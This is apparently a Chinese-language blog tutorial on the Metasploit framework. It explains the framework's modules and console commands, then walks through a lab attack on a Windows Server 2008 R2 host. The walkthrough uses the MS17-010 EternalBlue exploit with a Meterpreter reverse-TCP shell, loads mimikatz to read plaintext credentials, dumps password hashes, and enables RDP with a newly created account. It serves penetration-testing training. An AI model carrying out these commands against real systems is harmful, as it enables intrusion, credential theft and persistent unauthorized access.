发布于2022年10月15日3年前 一、Metasploit框架介绍 Metasploit是一个免费的、可下载的框架,通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。它本身附带数千个已知软件漏洞的专业级漏洞攻击工具。当H.D. Moore在2003年发布Metasploit时,计算机安全状况也被永久性地改变了。仿佛一夜之间,任何人都可以成为黑客,每个人都可以使用攻击工具来攻击那些未打过补丁或者刚刚打过补丁的漏洞。软件厂商再也不能推迟发布针对已公布漏洞的补丁了,这是因为Metasploit团队一直都在努力开发各种攻击工具,并将它们贡献给所有Metasploit用户。 我们能够通过它发现漏洞并进行快速实施攻击,当然需要在授权的情况下 二、Metasploit模块介绍 综合渗透测试框架 MSF所用功能可分为这几个模块,每个模块都有各自的功能领域,形成了渗透测试的流程 模块名 模块名 描述 Auxiliary 辅助模块 为渗透测试信息搜集提供了大量的辅助模块支持 Exploits 攻击模块 利用发现的安全漏洞或配置弱点对远程目标系统 进行攻击,从而获得对远程目标系统访问权的代码组件 Payload 攻击载荷模块 攻击成功后促使靶机运行的一段植入代码 Post 后渗透攻击模块 收集更多信息或进一步访问被利用的目标系统 Encoders 编码模块 将攻击载荷进行编码,来绕过防护软件拦截 三、MSF-基础指令 命令 描述 help/? 帮助菜单 exit 退出MSF控制台 Back 返回上一级 info 显示一个或者多个模块的信息 show 显示所给类型的模块 background 将当前操作在后台运行 use 使用所选择的模块 set 设置选项 unset 取消设置的选项 session 会话 use 使用所选择的模块 使用MSF前先打开数据库 开启数据库:**service postgresql start** 如果不开启数据库也可以,不过关于数据库的命令用不了 初始化MSF数据库:msfdb init 开启MSF:msfconsole 查看数据连接状态:db_status 常用模块讲解 Auxiliary 模块: show auxiliary Rank表示好用级别:normal(正常),excellent(优秀),good(良好),average(平均) 命名规则:功能/服务/名称 scanner/smb/smb_ms17_010 Exploits 模块: show exploits 命名规则:操作系统/服务/名称 windows/smb/ms17_010_eternalblue Payload 模块:show payloads 命名规则:操作系统/类型/名称 windows/x64/meterpreter/reverse_tcp MSF搜索模块 根据名称搜索 : search ms17_010 MSF设置模块 设置模块:use auxiliary/scanner/smb/smb_ms17_010 查看选项:options 四、MSF攻击流程 Ping下需要攻击的目标地址 ping 192.168.2.168 指定ping四次 ping 192.168.2.168 -c 4 扫描目标地址端口有没有开启,永恒之蓝端口445,文件共享服务端口db_nmap 192.168.2.168 -p 445,-p指定445端口 发现目标机器开启了445端口,查看hosts,发现目标地址已经存在这里了 搜索下永恒之蓝模块名字 search ms17_010 使用辅助模块来扫描,看到了SMB REC,扫描下看有没有远程命令执行漏洞 use auxiliary/scanner/smb/smb_ms17_010 options,查看需要设置什么,一般都是设置yes 需要设置一个路径,这个路径就是字典文件,MSF已经设置好了,所以不需要设置 RHOSTS目标服务器地址,远程主机的地址,需要设置成目标地址 目标端口 SMB线程 用户名和密码都是不需要设置的,因为MSF利用远程命令执行这个漏洞去攻击 设置RHOSTS,最简单就是set rhosts 192.168.2.168 也可以利用hosts扫描到的数据库里面有的,直接hosts -R也可以 使用run或者exploit都是可以攻击的 发现了绿色的[+],说明可能存在MS17-010 漏洞的,同时也看到这台目标服务器的相关资料,操作系统是windows server 2008 R2 64位的,MSF自带的只能攻击64位的 接下来使用攻击模块 search ms17 发现有两个攻击模块可以使用,这里使用一个ms17_010_eternalblue 直接use 8,进入到攻击模块 设置payload,先查看show payloads 反向连接tcp,因为不知道服务器有没有网 使用meterpreter set payload windows/x64/meterpreter/reverse_tcp options 查看下还要设置什么 需要设置本机ip地址和目标地址 set lhost 192.168.2.250 set rhosts 192.168.2.168 设置好后现在就可以直接攻击了 run getuid查看下成功没 拿到了SYSTEM的权限,NT是windows shell看看,进入目标机器的CMD命令 load mimikatz ,加载mimikatz kerberos,读取目标机器用户的凭证,明文密码 background,把会话放在后台 db_nmap 192.168.2.168 -p 3389,扫描下端口,看能不能远程登录 端口没开启,使用post模块,通过修改注册表来开启目标端口 search enable_rdp,rdp表示远程登录服务 use 0 options,看需要设置什么 在system权限上,把目标的3389转发到本地的3389,再通过3389连接,可以新建账户密码,session就是我们刚刚保留的会话,通过这个会话开启服务器目标的端口和用户名和密码 set password 1234.a set session 1 set username abc run,攻击下 db_nmap 192.168.2.168 -p 3389,扫描下看开放没 rdesktop 192.168.2.168,远程登录 五、后渗透工具 - meterpreter 查看用户权限: meterpreter> getuid 获取hash密码: meterpreter> hashdump 上传文件: meterpreter> upload 执行文件: meterpreter> execute -f notepad.exe 获取屏幕截图:meterpreter>screenshot 获取shell:meterpreter>shell
创建帐户或登录后发表意见